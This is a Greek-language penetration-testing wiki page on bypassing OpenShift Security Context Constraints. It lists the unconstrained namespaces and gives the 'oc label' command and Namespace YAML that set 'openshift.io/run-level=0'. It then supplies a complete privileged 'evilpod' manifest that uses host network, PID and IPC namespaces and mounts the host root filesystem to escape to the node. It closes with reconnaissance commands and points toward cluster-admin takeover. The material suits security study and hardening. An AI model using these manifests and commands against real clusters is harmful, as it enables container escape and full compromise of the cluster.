OpenShift - SCC bypass

Ο αρχικός συγγραφέας αυτής της σελίδας είναι Guillaume

Προνομιούχοι Χώροι Ονομάτων

Από προεπιλογή, το SCC δεν ισχύει στα ακόλουθα έργα:

  • default

  • kube-system

  • kube-public

  • openshift-node

  • openshift-infra

  • openshift

Εάν αναπτύξετε pods μέσα σε έναν από αυτούς τους χώρους ονομάτων, δεν θα επιβληθεί κανένα SCC, επιτρέποντας την ανάπτυξη προνομιούχων pods ή την προσάρτηση του συστήματος αρχείων του κεντρικού υπολογιστή.

Ετικέτα Χώρου Ονομάτων

Υπάρχει ένας τρόπος για να απενεργοποιήσετε την εφαρμογή του SCC στο pod σας σύμφωνα με την τεκμηρίωση της RedHat. Θα πρέπει να έχετε τουλάχιστον μία από τις ακόλουθες άδειες:

  • Δημιουργήστε έναν Χώρο Ονομάτων και Δημιουργήστε ένα Pod σε αυτόν τον Χώρο Ονομάτων

  • Επεξεργαστείτε έναν Χώρο Ονομάτων και Δημιουργήστε ένα Pod σε αυτόν τον Χώρο Ονομάτων

$ oc auth can-i create namespaces
yes

$ oc auth can-i patch namespaces
yes

Η συγκεκριμένη ετικέτα openshift.io/run-level επιτρέπει στους χρήστες να παρακάμψουν τα SCCs για τις εφαρμογές. Σύμφωνα με την τεκμηρίωση της RedHat, όταν χρησιμοποιείται αυτή η ετικέτα, δεν επιβάλλονται SCCs σε όλα τα pods μέσα σε αυτό το namespace, καταργώντας αποτελεσματικά οποιοδήποτε περιορισμό.

Προσθήκη Ετικέτας

Για να προσθέσετε την ετικέτα στο namespace σας:

$ oc label ns MYNAMESPACE openshift.io/run-level=0

Για να δημιουργήσετε ένα namespace με την ετικέτα μέσω ενός αρχείου YAML:

apiVersion: v1
kind: Namespace
metadata:
name: evil
labels:
openshift.io/run-level: 0

Τώρα, όλα τα νέα pods που δημιουργούνται στο namespace δεν πρέπει να έχουν κανένα SCC

$ oc get pod -o yaml | grep 'openshift.io/scc'
$

Στην απουσία του SCC, δεν υπάρχουν περιορισμοί στον ορισμό του pod σας. Αυτό σημαίνει ότι ένα κακόβουλο pod μπορεί να δημιουργηθεί εύκολα για να δραπετεύσει στο σύστημα του host.

apiVersion: v1
kind: Pod
metadata:
name: evilpod
labels:
kubernetes.io/hostname: evilpod
spec:
hostNetwork: true #Bind pod network to the host network
hostPID: true #See host processes
hostIPC: true #Access host inter processes
containers:
- name: evil
image: MYIMAGE
imagePullPolicy: IfNotPresent
securityContext:
privileged: true
allowPrivilegeEscalation: true
resources:
limits:
memory: 200Mi
requests:
cpu: 30m
memory: 100Mi
volumeMounts:
- name: hostrootfs
mountPath: /mnt
volumes:
- name: hostrootfs
hostPath:
path:

Τώρα, έγινε πιο εύκολος ο εξορθολογισμός προνομίων για πρόσβαση στο σύστημα φιλοξενίας και στη συνέχεια να αναλάβετε τον ολόκληρο συστηματικό συστάδα, αποκτώντας προνόμια 'cluster-admin'. Αναζητήστε το μέρος Node-Post Exploitation στην ακόλουθη σελίδα:

Attacking Kubernetes from inside a Pod

Προσαρμοσμένες ετικέτες

Επιπλέον, με βάση τη ρύθμιση του στόχου, μπορεί να χρησιμοποιηθούν ορισμένες προσαρμοσμένες ετικέτες / αναφορές με τον ίδιο τρόπο όπως και στο προηγούμενο σενάριο επίθεσης. Ακόμα κι αν δεν είναι προορισμένες γι' αυτό, οι ετικέτες μπορεί να χρησιμοποιηθούν για να δώσουν δικαιώματα, να περιορίσουν ή όχι ένα συγκεκριμένο πόρο.

Προσπαθήστε να αναζητήσετε προσαρμοσμένες ετικέτες αν μπορείτε να διαβάσετε κάποιους πόρους. Εδώ μια λίστα με ενδιαφέροντες πόρους:

  • Pod

  • Deployment

  • Namespace

  • Service

  • Route

$ oc get pod -o yaml | grep labels -A 5
$ oc get namespace -o yaml | grep labels -A 5

Λίστα όλων των προνομιούχων namespaces

$ oc get project -o yaml | grep 'run-level' -b5

Προηγμένη εκμετάλλευση

Στο OpenShift, όπως επιδείχθηκε νωρίτερα, η άδεια να αναπτύξετε ένα pod σε ένα namespace με το ετικέτα openshift.io/run-level μπορεί να οδηγήσει σε μια απευθείας επίθεση στο cluster. Από την άποψη των ρυθμίσεων του cluster, αυτή η λειτουργικότητα δεν μπορεί να απενεργοποιηθεί, καθώς είναι ενσωματωμένη στον σχεδιασμό του OpenShift.

Ωστόσο, μέτρα αντιμετώπισης όπως το Open Policy Agent GateKeeper μπορούν να αποτρέψουν τους χρήστες από το να ορίσουν αυτήν την ετικέτα.

Για να παρακάμψουν τους κανόνες του GateKeeper και να ορίσουν αυτήν την ετικέτα για να εκτελέσουν μια επίθεση στο cluster, οι επιτιθέμενοι θα χρειαζόταν να εντοπίσουν εναλλακτικές μεθόδους.

Αναφορές

Last updated